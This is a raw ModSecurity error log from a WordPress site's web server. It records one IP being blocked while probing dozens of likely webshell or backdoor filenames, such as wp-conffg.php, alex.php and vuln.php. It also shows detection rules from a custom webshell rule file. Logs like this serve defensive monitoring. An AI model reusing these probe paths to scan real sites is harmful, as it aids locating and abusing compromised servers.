[Sun Apr 12 04:58:45.367791 2026] [:error] [pid 25437:tid 25443] [client 20.220.11.224:29691] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test1.php"] [unique_id "adq2BXf97wYZje1ep_NHtwAAAMQ"]
[Sun Apr 12 04:59:08.347839 2026] [:error] [pid 26600:tid 26652] [client 20.220.11.224:29616] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conffg.php"] [unique_id "adq2HO1YwAZiXhQKLYppiAAAAZc"]
[Sun Apr 12 04:59:10.546610 2026] [:error] [pid 26567:tid 26574] [client 20.220.11.224:29511] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conffg.php"] [unique_id "adq2HnhRpg6ptWFyFx3ukAAAAQU"]
[Sun Apr 12 04:59:20.933345 2026] [:error] [pid 26567:tid 26593] [client 20.220.11.224:29632] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-settings.php"] [unique_id "adq2KHhRpg6ptWFyFx3ulQAAARg"]
[Sun Apr 12 04:59:34.923504 2026] [:error] [pid 25437:tid 25455] [client 20.220.11.224:29574] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kn.php"] [unique_id "adq2Nnf97wYZje1ep_NICAAAANA"]
[Sun Apr 12 04:59:41.941854 2026] [:error] [pid 25437:tid 25449] [client 20.220.11.224:29648] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kn.php"] [unique_id "adq2PXf97wYZje1ep_NIHgAAAMo"]
[Sun Apr 12 04:59:51.403184 2026] [:error] [pid 26599:tid 26619] [client 20.220.11.224:29651] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3301.php"] [unique_id "adq2R3G89LXoQbk_rwAuZwAAAVE"]
[Sun Apr 12 04:59:52.912997 2026] [:error] [pid 25437:tid 25448] [client 20.220.11.224:29627] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3301.php"] [unique_id "adq2SHf97wYZje1ep_NILQAAAMk"]
[Sun Apr 12 04:59:54.403925 2026] [:error] [pid 26599:tid 26610] [client 20.220.11.224:29603] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3301.php"] [unique_id "adq2SnG89LXoQbk_rwAubQAAAUg"]
[Sun Apr 12 04:59:56.686306 2026] [:error] [pid 26599:tid 26617] [client 20.220.11.224:29606] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3301.php"] [unique_id "adq2THG89LXoQbk_rwAueAAAAU8"]
[Sun Apr 12 04:59:58.096379 2026] [:error] [pid 25437:tid 25454] [client 20.220.11.224:29594] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/leaf.php"] [unique_id "adq2Tnf97wYZje1ep_NINQAAAM8"]
[Sun Apr 12 04:59:59.612931 2026] [:error] [pid 25437:tid 25457] [client 20.220.11.224:29629] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/leaf.php"] [unique_id "adq2T3f97wYZje1ep_NIOAAAANI"]
[Sun Apr 12 05:00:01.018753 2026] [:error] [pid 25327:tid 25349] [client 20.220.11.224:29617] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/leaf.php"] [unique_id "adq2US6h2tZEVJo9JFI7BgAAAA0"]
[Sun Apr 12 05:00:02.342381 2026] [:error] [pid 26567:tid 26579] [client 20.220.11.224:29640] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/leaf.php"] [unique_id "adq2UnhRpg6ptWFyFx3u1gAAAQo"]
[Sun Apr 12 05:00:04.774418 2026] [:error] [pid 60280:tid 60304] [client 20.220.11.224:29663] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alex.php"] [unique_id "adq2VHBlLnDOYuIykkjQUgAAAdY"]
[Sun Apr 12 05:00:06.161050 2026] [:error] [pid 26600:tid 26644] [client 20.220.11.224:29660] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alex.php"] [unique_id "adq2Vu1YwAZiXhQKLYpqCgAAAY8"]
[Sun Apr 12 05:00:08.435460 2026] [:error] [pid 26600:tid 26643] [client 20.220.11.224:29609] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alex.php"] [unique_id "adq2WO1YwAZiXhQKLYpqIQAAAY4"]
[Sun Apr 12 05:00:12.308052 2026] [:error] [pid 25327:tid 25347] [client 20.220.11.224:29569] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alex.php"] [unique_id "adq2XC6h2tZEVJo9JFI7LQAAAAs"]
[Sun Apr 12 05:00:33.209492 2026] [:error] [pid 25327:tid 25345] [client 20.220.11.224:29576] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anone.php"] [unique_id "adq2cS6h2tZEVJo9JFI7NwAAAAk"]
[Sun Apr 12 05:00:41.249433 2026] [:error] [pid 26567:tid 26582] [client 20.220.11.224:29677] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/send.php"] [unique_id "adq2eXhRpg6ptWFyFx3vPgAAAQ0"]
[Sun Apr 12 05:00:46.432770 2026] [:error] [pid 25329:tid 25376] [client 20.220.11.224:29580] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/send.php"] [unique_id "adq2fmdcIYsS8Iyaj10m1QAAAIE"]
[Sun Apr 12 05:00:54.597048 2026] [:error] [pid 25328:tid 25405] [client 20.220.11.224:29683] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/send.php"] [unique_id "adq2hsxUaQZxT-e0YsDKDAAAAFc"]
[Sun Apr 12 05:00:57.885987 2026] [:error] [pid 25327:tid 25358] [client 20.220.11.224:29657] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adq2iS6h2tZEVJo9JFI7SAAAABY"]
[Sun Apr 12 05:00:58.666318 2026] [:error] [pid 26600:tid 26634] [client 20.220.11.224:29670] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adq2iu1YwAZiXhQKLYpqZwAAAYU"]
[Sun Apr 12 05:01:00.437022 2026] [:error] [pid 26599:tid 26622] [client 20.220.11.224:29604] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adq2jHG89LXoQbk_rwAu0QAAAVQ"]
[Sun Apr 12 05:01:01.115968 2026] [:error] [pid 26599:tid 26626] [client 20.220.11.224:29667] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adq2jXG89LXoQbk_rwAu0wAAAVg"]
[Sun Apr 12 05:01:03.942751 2026] [:error] [pid 26600:tid 26646] [client 20.220.11.224:29642] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp-cache.php"] [unique_id "adq2j-1YwAZiXhQKLYpqcAAAAZE"]
[Sun Apr 12 05:01:05.046686 2026] [:error] [pid 60280:tid 60299] [client 20.220.11.224:29684] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp-cache.php"] [unique_id "adq2kXBlLnDOYuIykkjQkgAAAdE"]
[Sun Apr 12 05:01:05.925787 2026] [:error] [pid 26600:tid 26638] [client 20.220.11.224:29641] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp-cache.php"] [unique_id "adq2ke1YwAZiXhQKLYpqdAAAAYk"]
[Sun Apr 12 05:01:07.826103 2026] [:error] [pid 26567:tid 26573] [client 20.220.11.224:29531] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp-cache.php"] [unique_id "adq2k3hRpg6ptWFyFx3vVgAAAQQ"]
[Sun Apr 12 05:01:09.255522 2026] [:error] [pid 26599:tid 26606] [client 20.220.11.224:29665] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendmail.php"] [unique_id "adq2lXG89LXoQbk_rwAu2QAAAUQ"]
[Sun Apr 12 05:01:11.409370 2026] [:error] [pid 26599:tid 26617] [client 20.220.11.224:29672] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendmail.php"] [unique_id "adq2l3G89LXoQbk_rwAu2wAAAU8"]
[Sun Apr 12 05:01:16.335863 2026] [:error] [pid 25328:tid 25367] [client 20.220.11.224:29688] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendmail.php"] [unique_id "adq2nMxUaQZxT-e0YsDKHgAAAEM"]
[Sun Apr 12 05:01:18.841996 2026] [:error] [pid 25328:tid 25385] [client 20.220.11.224:29586] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendmail.php"] [unique_id "adq2nsxUaQZxT-e0YsDKLAAAAE4"]
[Sun Apr 12 05:01:22.770099 2026] [:error] [pid 25437:tid 25440] [client 20.220.11.224:29506] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rahma.php"] [unique_id "adq2onf97wYZje1ep_NJEgAAAME"]
[Sun Apr 12 05:01:24.242455 2026] [:error] [pid 25328:tid 25391] [client 20.220.11.224:29538] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rahma.php"] [unique_id "adq2pMxUaQZxT-e0YsDKSAAAAFE"]
[Sun Apr 12 05:01:28.283448 2026] [:error] [pid 26600:tid 26634] [client 20.220.11.224:29687] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rahma.php"] [unique_id "adq2qO1YwAZiXhQKLYpqiQAAAYU"]
[Sun Apr 12 05:01:30.506127 2026] [:error] [pid 25329:tid 25374] [client 20.220.11.224:29659] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rahma.php"] [unique_id "adq2qmdcIYsS8Iyaj10nDwAAAIA"]
[Sun Apr 12 05:01:32.310882 2026] [:error] [pid 25327:tid 25340] [client 20.220.11.224:29662] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nasgor.php"] [unique_id "adq2rC6h2tZEVJo9JFI7XwAAAAQ"]
[Sun Apr 12 05:01:34.355707 2026] [:error] [pid 25327:tid 25338] [client 20.220.11.224:29681] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nasgor.php"] [unique_id "adq2ri6h2tZEVJo9JFI7YAAAAAI"]
[Sun Apr 12 05:01:36.740785 2026] [:error] [pid 25437:tid 25451] [client 20.220.11.224:29596] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nasgor.php"] [unique_id "adq2sHf97wYZje1ep_NJLAAAAMw"]
[Sun Apr 12 05:01:38.951827 2026] [:error] [pid 26600:tid 26636] [client 20.220.11.224:29643] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nasgor.php"] [unique_id "adq2su1YwAZiXhQKLYpqnQAAAYc"]
[Sun Apr 12 05:01:51.619493 2026] [:error] [pid 25327:tid 25354] [client 20.220.11.224:29611] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/niil.php"] [unique_id "adq2vy6h2tZEVJo9JFI7dgAAABI"]
[Sun Apr 12 05:01:55.307579 2026] [:error] [pid 26599:tid 26621] [client 20.220.11.224:29647] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519-items.php"] [unique_id "adq2w3G89LXoQbk_rwAvAgAAAVM"]
[Sun Apr 12 05:02:05.135425 2026] [:error] [pid 26600:tid 26645] [client 20.220.11.224:29673] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/0.php"] [unique_id "adq2ze1YwAZiXhQKLYpqwwAAAZA"]
[Sun Apr 12 05:02:09.871739 2026] [:error] [pid 25328:tid 25383] [client 20.220.11.224:29568] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/0.php"] [unique_id "adq20cxUaQZxT-e0YsDKpgAAAE0"]
[Sun Apr 12 05:02:12.717910 2026] [:error] [pid 26567:tid 26572] [client 20.220.11.224:29693] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/0.php"] [unique_id "adq21HhRpg6ptWFyFx3vsAAAAQM"]
[Sun Apr 12 05:02:14.064396 2026] [:error] [pid 26567:tid 26583] [client 20.220.11.224:29671] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/0.php"] [unique_id "adq21nhRpg6ptWFyFx3vtAAAAQ4"]
[Sun Apr 12 05:02:16.294279 2026] [:error] [pid 60280:tid 60294] [client 20.220.11.224:29635] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "adq22HBlLnDOYuIykkjQ4AAAAcw"]
[Sun Apr 12 05:02:17.552575 2026] [:error] [pid 25327:tid 25346] [client 20.220.11.224:29673] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "adq22S6h2tZEVJo9JFI7gwAAAAo"]
[Sun Apr 12 05:02:19.239799 2026] [:error] [pid 25328:tid 25373] [client 20.220.11.224:29523] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "adq228xUaQZxT-e0YsDKsAAAAEg"]
[Sun Apr 12 05:02:20.895327 2026] [:error] [pid 26600:tid 26629] [client 20.220.11.224:29644] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "adq23O1YwAZiXhQKLYpq0QAAAYA"]
[Sun Apr 12 05:02:22.226550 2026] [:error] [pid 25329:tid 25397] [client 20.220.11.224:29601] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "adq23mdcIYsS8Iyaj10nMwAAAIw"]
[Sun Apr 12 05:02:28.177831 2026] [:error] [pid 25437:tid 25462] [client 20.220.11.224:29584] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "adq25Hf97wYZje1ep_NJXgAAANc"]
[Sun Apr 12 05:02:29.287076 2026] [:error] [pid 26567:tid 26572] [client 20.220.11.224:29587] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "adq25XhRpg6ptWFyFx3vvQAAAQM"]
[Sun Apr 12 05:02:30.192637 2026] [:error] [pid 26600:tid 26637] [client 20.220.11.224:29654] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "adq25u1YwAZiXhQKLYpq6AAAAYg"]
